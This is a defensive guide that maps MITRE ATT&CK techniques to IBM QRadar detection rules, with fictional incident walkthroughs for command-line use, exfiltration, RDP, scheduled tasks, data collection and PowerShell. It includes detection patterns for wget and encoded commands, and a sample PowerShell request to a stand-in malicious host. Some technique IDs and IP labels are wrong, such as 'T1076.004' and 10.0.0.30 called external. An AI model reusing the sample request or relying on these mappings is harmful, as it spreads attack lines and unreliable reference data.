QRADAR MITRE ATT&CK MAPPING (EXAMPLE & SCENARIO)

BY IZZMIER IZZUDDIN

Tactics and Techniques

1. **Initial Access**
   - **Tactic**: Techniques for gaining initial access to a system or network.
   - **Examples**: Spearphishing Attachment (T1566.001), External Remote Services (T1133).
2. **Execution**
   - **Tactic**: Techniques used to execute malicious code.
   - **Examples**: Command-Line Interface (T1059), Scripting (T1064).
3. **Persistence**
   - **Tactic**: Techniques used to maintain access to systems across restarts, etc.
   - **Examples**: Scheduled Task (T1053), Boot or Logon Autostart Execution (T1547).
4. **Privilege Escalation**
   - **Tactic**: Techniques used to gain higher-level permissions.
   - **Examples**: Exploitation of Vulnerability (T1068), Valid Accounts (T1078).
5. **Defense Evasion**
   - **Tactic**: Techniques used to avoid detection by defensive tools.
   - **Examples**: Masquerading (T1036), Obfuscated Files or Information (T1027).
6. **Credential Access**
   - **Tactic**: Techniques used to obtain credentials.
   - **Examples**: Credential Dumping (T1003), OS Credential Dumping (T1003.001).
7. **Discovery**
   - **Tactic**: Techniques used to gather information about a system and its environment.
   - **Examples**: System Network Configuration Discovery (T1016), Query Registry (T1012).
8. **Lateral Movement**
   - **Tactic**: Techniques used to move through a network.
   - **Examples**: Remote Desktop Protocol (T1021), SMB/Windows Admin Shares (T1021.002).
9. **Collection**
   - **Tactic**: Techniques used to gather data of interest.
   - **Examples**: Data from Local System (T1005), Automated Collection (T1119).
10. **Exfiltration**
    - **Tactic**: Techniques used to steal data.
    - **Examples**: Data Compressed (T1560.002), Exfiltration Over Command and Control Channel (T1041).
11. **Command and Control**
    - **Tactic**: Techniques used to communicate with a compromised system.
    - **Examples**: Command-Line Interface (T1059), Remote Access Software (T1219).
12. **Impact**

- **Tactic**: Techniques used to manipulate, interrupt, or destroy data/systems.
- **Examples**: Data Destruction (T1485), Service Stop (T1489).

Examples

Example 1: Command-Line Interface (T1059)

MITRE ATT&CK Technique Description: Command-Line Interface (T1059) involves an adversary executing commands directly via a command-line interface to interact with systems and execute malicious actions.

Mapping to IBM QRadar:

Log Sources: QRadar can collect logs from various sources such as Windows Event Logs, Linux system logs, and network device logs. For T1059, relevant logs might include Windows Command Prompt logs (event IDs like 4688 for process creation) or Linux shell logs (e.g., syslog).

Detection Rule: Create a detection rule in QRadar to monitor for suspicious command-line activity:

- **Rule Name**: Suspicious Command-Line Execution
- **Rule Logic**: Detect command-line executions associated with known malicious commands or unusual command patterns.
- **Example Condition**:
  ((EventID = 4688 AND CommandLine matches '*-EncodedCommand*') OR (Command matches '*wget*'))

Example Detection and Analysis:

Scenario: QRadar detects suspicious command-line activity indicative of potential malicious behaviour on a corporate workstation.

1. Detection Event:

- **Event Timestamp**: 2024-07-04 15:20:45 UTC
- **Event Description**: QRadar generates an offense based on a detection rule for suspicious command-line activity.

2. Offense Details:

- **Offense ID**: QR1002
- **Severity**: High
- **Source IP**: 192.168.1.102 (Corporate Workstation)
- **Destination IP**: 10.0.0.15 (Internal Server)
- **Username**: izzmier (Domain User)

3. Investigative Steps:

Step 1: Review Log Details (Windows Event Logs - Event ID 4688)

- **Log Timestamp**: 2024-07-04 15:20:45 UTC
- **Log Source**: Windows Event Logs (Security)
- **Event ID**: 4688
- **Process Information**:
  - **New Process ID**: 1234
  - **New Process Name**: cmd.exe
  - **Creator Process ID**: 5678
  - **Creator Process Name**: explorer.exe
- **Command-Line Execution**:

```
cmd.exe /c echo Manchester United!> C:\Users\izzmier\Desktop\test.txt
```

Step 2: Analyse Command-Line Parameters

- **Command Interpretation**: The command executed cmd.exe to write Manchester United! to a file (test.txt) on the user's desktop (C:\Users\izzmier\Desktop\).

Step 3: File System Analysis

- **File System Logs**: Check file system logs for access events (Event ID 4663) to verify if test.txt was successfully created on the desktop.

Step 4: Endpoint Analysis

- **Endpoint Forensics**: Conduct endpoint forensics to determine if test.txt contains any malicious content or if there are any indicators of compromise (IOCs) associated with its creation.

Step 5: Contextual Analysis

- **User Behaviour**: Verify if izzmier has a legitimate reason to execute such a command. Check if similar activities have been observed from this user in the past.

4. Response Actions:

- **Containment**: Isolate the workstation (192.168.1.102) from the network to prevent further potential spread of the attack.
- **Endpoint Remediation**: Remove test.txt from the desktop and conduct a full antivirus scan to ensure no malicious content remains.
- **User Notification**: Inform izzmier about the incident and provide security awareness training if necessary.

5. Reporting and Follow-Up:

- **Incident Report**: Generate an incident report detailing the event timeline, investigative steps, findings, and actions taken.

- **Post-Incident Analysis**: Conduct a post-incident analysis to identify gaps in security controls and recommend improvements to prevent similar incidents in the future.

Example 2: Data Exfiltration Over Command and Control Channel (T1041)

MITRE ATT&CK Technique Description: T1041 involves adversaries exfiltrating data from a compromised network using a command and control (C2) channel.

Mapping to IBM QRadar:

Log Sources: QRadar can collect logs from network devices, firewalls, proxies, and endpoint agents that monitor network traffic and communications.

Detection Rule: Create a detection rule in QRadar to monitor for suspicious data exfiltration patterns over C2 channels:

- **Rule Name**: C2 Data Exfiltration Detection
- **Rule Logic**: Detect outbound network traffic to known malicious domains or IP addresses associated with C2 infrastructure, especially if it involves large or unusual data transfers.
- **Example Condition**: ((DestinationIP matches 'malicious_domain.com' AND BytesOut > 100000) OR (DestinationPort = 443 AND DataTransfer > 1GB))

Example Detection and Analysis:

Scenario: QRadar detects suspicious data exfiltration activity indicative of potential malicious behaviour on a corporate endpoint.

1. Detection Event:

- **Event Timestamp**: 2024-07-05 09:30:15 UTC
- **Event Description**: QRadar generates an offense based on a detection rule for suspicious outbound data transfer indicative of data exfiltration.

2. Offense Details:

- **Offense ID**: QR1003
- **Severity**: High
- **Source IP**: 192.168.1.103 (Corporate Workstation)
- **Destination IP**: 203.0.113.10 (External IP)
- **Username**: izzmier (Domain User)

3. Investigative Steps:

Step 1: Review Log Details (Network Traffic Logs - Outbound)

- **Log Timestamp**: 2024-07-05 09:30:15 UTC
- **Log Source**: QRadar Network Traffic Logs
- **Source IP**: 192.168.1.103
- **Destination IP**: 203.0.113.10

- **Bytes Transferred**: 50MB
- **Protocol**: TCP
- **Destination Port**: 443 (HTTPS)

Step 2: Analyse Network Traffic Patterns

- **Traffic Analysis**: Analyse the network traffic to 203.0.113.10 over port 443 (HTTPS). Look for patterns such as large data transfers or connections to known malicious domains/IP addresses.

Step 3: Endpoint Analysis

- **Endpoint Forensics**: Conduct endpoint forensics on 192.168.1.103 to determine the source of the data exfiltration. Check for any running processes or files involved in the exfiltration.

Step 4: Content Analysis

- **Data Inspection**: If possible, inspect the contents of the data being transferred to 203.0.113.10 to determine if it contains sensitive information or proprietary data.

Step 5: Contextual Analysis

- **User Behaviour**: Verify if izzmier has a legitimate reason to transfer such a large amount of data to an external IP address. Check if similar activities have been observed from this user in the past.

4. Response Actions:

- **Containment**: Block outbound traffic to 203.0.113.10 from 192.168.1.103 to prevent further data exfiltration.
- **Endpoint Remediation**: Identify and remove any tools or scripts used for data exfiltration on 192.168.1.103.
- **User Notification**: Inform izzmier about the incident and provide security awareness training if necessary.

5. Reporting and Follow-Up:

- **Incident Report**: Generate an incident report detailing the event timeline, investigative steps, findings, and actions taken.
- **Post-Incident Analysis**: Conduct a post-incident analysis to identify gaps in security controls and recommend improvements to prevent similar incidents in the future.

Example 3: Remote Desktop Protocol (RDP) Hijacking (T1076.004)

MITRE ATT&CK Technique Description: T1076.004 involves adversaries exploiting RDP sessions to gain unauthorized access to systems or to maintain persistence.

Mapping to IBM QRadar:

Log Sources: QRadar can collect logs from Windows Event Logs (e.g., event ID 4624 for successful logons, event ID 4625 for failed logons), network traffic logs (e.g., from firewalls or network intrusion detection systems), and RDP service logs.

Detection Rule: Create a detection rule in QRadar to monitor for suspicious RDP hijacking activities:

- **Rule Name**: RDP Hijacking Detection
- **Rule Logic**: Detect anomalous RDP login patterns, such as multiple failed login attempts followed by a successful login from an unusual IP address or at unusual times.
- **Example Condition**:
  ((EventID = 4625 AND CountFailures > 5 AND SourceIP not in Whitelist) OR (EventID = 4624 AND LogonType = RemoteInteractive AND SourceIP not in Whitelist))

Example Detection and Analysis:

Scenario: QRadar detects suspicious RDP hijacking activity indicative of potential malicious behaviour on a corporate endpoint.

1. Detection Event:

- **Event Timestamp**: 2024-07-06 14:45:22 UTC
- **Event Description**: QRadar generates an offense based on a detection rule for suspicious RDP session hijacking.

2. Offense Details:

- **Offense ID**: QR1004
- **Severity**: High
- **Source IP**: 192.168.1.104 (Corporate Workstation)
- **Destination IP**: 10.0.0.20 (Internal Server)
- **Username**: izzmier (Domain User)

3. Investigative Steps:

Step 1: Review Log Details (Windows Event Logs - Event ID 4624)

- **Log Timestamp**: 2024-07-06 14:45:22 UTC
- **Log Source**: Windows Event Logs (Security)

- **Event ID**: 4624 (Logon)
- **Logon Type**: 10 (RemoteInteractive - RDP)
- **Source Network Address**: 192.168.1.104
- **Account Name**: izzmier

Step 2: Analyse Logon Type and Source IP

- **Logon Analysis**: Identify logon type 10 (RemoteInteractive - RDP) from source IP 192.168.1.104 to 10.0.0.20, indicating an RDP session initiation.

Step 3: Endpoint Analysis

- **Endpoint Forensics**: Conduct endpoint forensics on 192.168.1.104 to determine the legitimacy of the RDP session. Check for any unauthorized tools or scripts used to establish the RDP connection.

Step 4: Network Traffic Analysis

- **Network Traffic Logs**: Review network traffic logs to identify any unusual data transfers or command executions over the RDP session between 192.168.1.104 and 10.0.0.20.

Step 5: Contextual Analysis

- **User Behaviour**: Verify if izzmier has a legitimate reason to initiate an RDP session to 10.0.0.20. Check if similar activities have been observed from this user in the past.

4. Response Actions:

- **Containment**: Terminate the RDP session between 192.168.1.104 and 10.0.0.20 to prevent potential data exfiltration or further unauthorized access.
- **Endpoint Remediation**: Remove any unauthorized tools or scripts used for RDP session hijacking on 192.168.1.104.
- **User Notification**: Inform izzmier about the incident and provide security awareness training if necessary.

5. Reporting and Follow-Up:

- **Incident Report**: Generate an incident report detailing the event timeline, investigative steps, findings, and actions taken.
- **Post-Incident Analysis**: Conduct a post-incident analysis to identify gaps in security controls and recommend improvements to prevent similar incidents in the future.

Example 4: Scheduled Task (T1053)

MITRE ATT&CK Technique Description: T1053 involves adversaries using scheduled tasks to execute commands or payloads at specified times or intervals, often to maintain persistence or achieve other objectives.

Mapping to IBM QRadar:

Log Sources: QRadar can collect logs from Windows Event Logs (e.g., event ID 4698 for scheduled task creation, event ID 4699 for scheduled task deletion), endpoint logs, and Active Directory logs that capture changes to scheduled tasks.

Detection Rule: Create a detection rule in QRadar to monitor for suspicious scheduled task creation or modification:

- **Rule Name**: Suspicious Scheduled Task Creation
- **Rule Logic**: Detect unusual or unauthorized scheduled task creations, especially those involving common persistence mechanisms or executed payloads.
- **Example Condition**:
  ((EventID = 4698 AND TaskName matches '*backdoor*') OR (EventID = 4699 AND TaskName contains 'malware' AND UserName not in Admin_Whitelist))

Example Detection and Analysis:

Scenario: QRadar detects suspicious scheduled task creation indicative of potential malicious behaviour on a corporate endpoint.

1. Detection Event:

- **Event Timestamp**: 2024-07-07 11:10:05 UTC
- **Event Description**: QRadar generates an offense based on a detection rule for suspicious scheduled task creation.

2. Offense Details:

- **Offense ID**: QR1005
- **Severity**: High
- **Source IP**: 192.168.1.105 (Corporate Workstation)
- **Username**: izzmier (Domain User)
- **Task Name**: MaliciousTask

3. Investigative Steps:

Step 1: Review Log Details (Windows Event Logs - Event ID 4698/4699)

- **Log Timestamp**: 2024-07-07 11:10:05 UTC
- **Log Source**: Windows Event Logs (Security)

- **Event ID**: 4698 (Task Created) / 4699 (Task Deleted)
- **Task Name**: MaliciousTask
- **Task Creator**: izzmier

Step 2: Analyse Task Creation Details

- **Task Details**: Review the details of the created task MaliciousTask. Check the action configured (e.g., execute a file or script) and any triggers set (e.g., on system startup).

Step 3: Endpoint Analysis

- **Endpoint Forensics**: Conduct endpoint forensics on 192.168.1.105 to determine the purpose and potential malicious intent of MaliciousTask. Check for any associated scripts or executables.

Step 4: Content Analysis

- **File Analysis**: If applicable, analyse any files referenced in the task action (e.g., script files or executables) to identify malicious content or indicators of compromise (IOCs).

Step 5: Contextual Analysis

- **User Behaviour**: Verify if izzmier has a legitimate reason to create MaliciousTask. Check if similar activities have been observed from this user in the past.

4. Response Actions:

- **Containment**: Disable or delete MaliciousTask to prevent its execution.
- **Endpoint Remediation**: Remove any associated scripts or executables used in MaliciousTask from 192.168.1.105.
- **User Notification**: Inform izzmier about the incident and provide security awareness training if necessary.

5. Reporting and Follow-Up:

- **Incident Report**: Generate an incident report detailing the event timeline, investigative steps, findings, and actions taken.
- **Post-Incident Analysis**: Conduct a post-incident analysis to identify gaps in security controls and recommend improvements to prevent similar incidents in the future.

Example 5: Data from Local System (T1005)

MITRE ATT&CK Technique Description: T1005 involves adversaries collecting data from local systems to gather sensitive information or to further their objectives.

Mapping to IBM QRadar:

Log Sources: QRadar can collect logs from various sources such as Windows Event Logs, file integrity monitoring systems, and endpoint detection and response (EDR) solutions that monitor file access and data modifications.

Detection Rule: Create a detection rule in QRadar to monitor for suspicious data access or data transfer from local systems:

- **Rule Name**: Unusual Data Access from Local System
- **Rule Logic**: Detect anomalies such as unauthorized access to sensitive files, unusual data transfer volumes, or data exfiltration attempts.
- **Example Condition**:
  ((EventID = 4663 AND ObjectName matches '*credit_card_info.txt' AND AccessMask = Write AND DestinationIP = External_IP) OR (FileName = 'sensitive_document.docx' AND BytesTransferred > 100000))

Example Detection and Analysis:

Scenario: QRadar detects suspicious data transfer from a local system indicative of potential malicious behaviour.

1. Detection Event:

- **Event Timestamp**: 2024-07-08 13:55:30 UTC
- **Event Description**: QRadar generates an offense based on a detection rule for suspicious data transfer from a local system.

2. Offense Details:

- **Offense ID**: QR1006
- **Severity**: High
- **Source IP**: 192.168.1.106 (Corporate Workstation)
- **Destination IP**: 10.0.0.30 (External Server)
- **Username**: izzmier (Domain User)

3. Investigative Steps:

Step 1: Review Log Details (Network Traffic Logs - Outbound)

- **Log Timestamp**: 2024-07-08 13:55:30 UTC
- **Log Source**: QRadar Network Traffic Logs
- **Source IP**: 192.168.1.106

- **Destination IP**: 10.0.0.30
- **Bytes Transferred**: 200MB
- **Protocol**: TCP
- **Destination Port**: 443 (HTTPS)

Step 2: Analyse Network Traffic Patterns

- **Traffic Analysis**: Analyse the network traffic to 10.0.0.30 over port 443 (HTTPS). Look for patterns such as large data transfers or connections to known malicious domains/IP addresses.

Step 3: Endpoint Analysis

- **Endpoint Forensics**: Conduct endpoint forensics on 192.168.1.106 to identify the source of the data transfer. Check for any running processes or files involved in the data exfiltration.

Step 4: Content Analysis

- **Data Inspection**: If possible, inspect the contents of the data being transferred to 10.0.0.30 to determine if it contains sensitive information or proprietary data.

Step 5: Contextual Analysis

- **User Behaviour**: Verify if izzmier has a legitimate reason to transfer such a large amount of data to an external server (10.0.0.30). Check if similar activities have been observed from this user in the past.

4. Response Actions:

- **Containment**: Block outbound traffic to 10.0.0.30 from 192.168.1.106 to prevent further data exfiltration.
- **Endpoint Remediation**: Identify and remove any tools or scripts used for data exfiltration on 192.168.1.106.
- **User Notification**: Inform izzmier about the incident and provide security awareness training if necessary.

5. Reporting and Follow-Up:

- **Incident Report**: Generate an incident report detailing the event timeline, investigative steps, findings, and actions taken.
- **Post-Incident Analysis**: Conduct a post-incident analysis to identify gaps in security controls and recommend improvements to prevent similar incidents in the future.

Example 6: PowerShell (T1086)

MITRE ATT&CK Technique Description: T1086 involves adversaries using PowerShell for execution of malicious commands and scripts to achieve various objectives, such as execution, persistence, or data exfiltration.

Mapping to IBM QRadar:

Log Sources: QRadar can collect logs from Windows Event Logs (e.g., event ID 4688 for process creation), PowerShell logs (if PowerShell logging is enabled), and endpoint detection and response (EDR) solutions that monitor PowerShell activities.

Detection Rule: Create a detection rule in QRadar to monitor for suspicious PowerShell activities:

- **Rule Name**: Suspicious PowerShell Execution
- **Rule Logic**: Detect PowerShell executions associated with known malicious scripts, unusual command parameters, or unauthorized use of PowerShell in the environment.
- **Example Condition**:
  ((EventID = 4688 AND ImageFile = 'powershell.exe' AND CommandLine contains '-EncodedCommand'))

Example Detection and Analysis:

Scenario: QRadar detects suspicious PowerShell activity indicative of potential malicious behaviour on a corporate endpoint.

1. Detection Event:

- **Event Timestamp**: 2024-07-09 10:25:15 UTC
- **Event Description**: QRadar generates an offense based on a detection rule for suspicious PowerShell script execution.

2. Offense Details:

- **Offense ID**: QR1007
- **Severity**: High
- **Source IP**: 192.168.1.107 (Corporate Workstation)
- **Destination IP**: Not Applicable
- **Username**: izzmier (Domain User)

3. Investigative Steps:

Step 1: Review Log Details (Windows PowerShell Operational Logs - Event ID 4104)

- **Log Timestamp**: 2024-07-09 10:25:15 UTC
- **Log Source**: Windows PowerShell Operational Logs

- **Event ID**: 4104 (Script Block Logging)
- **Script Block Text**:

  ```
  $webRequest = [System.Net.WebRequest]::Create("https://malicious-site.com/execute")
  $response = $webRequest.GetResponse()
  ```

Step 2: Analyse PowerShell Script Blocks

- **Script Analysis**: Review the PowerShell script blocks executed by izzmier. Inspect the content of the script to understand its purpose, such as making a web request to a potentially malicious domain (https://malicious-site.com/execute).

Step 3: Endpoint Analysis

- **Endpoint Forensics**: Conduct endpoint forensics on 192.168.1.107 to determine if the PowerShell script resulted in any changes to the system, such as file downloads or modifications.

Step 4: Network Traffic Analysis

- **Network Traffic Logs**: Review network traffic logs to identify any outbound connections from 192.168.1.107 to malicious-site.com. Check for unusual data transfers or command responses.

Step 5: Contextual Analysis

- **User Behaviour**: Verify if izzmier has a legitimate reason to execute such PowerShell scripts. Check if similar activities have been observed from this user in the past.

4. Response Actions:

- **Containment**: Disable or remove any scripts or tools used by izzmier for malicious purposes on 192.168.1.107.
- **Endpoint Remediation**: Conduct a full antivirus scan and remove any malware or suspicious scripts identified.
- **User Notification**: Inform izzmier about the incident and provide security awareness training if necessary.

5. Reporting and Follow-Up:

- **Incident Report**: Generate an incident report detailing the event timeline, investigative steps, findings, and actions taken.
- **Post-Incident Analysis**: Conduct a post-incident analysis to identify gaps in security controls and recommend improvements to prevent similar incidents in the future.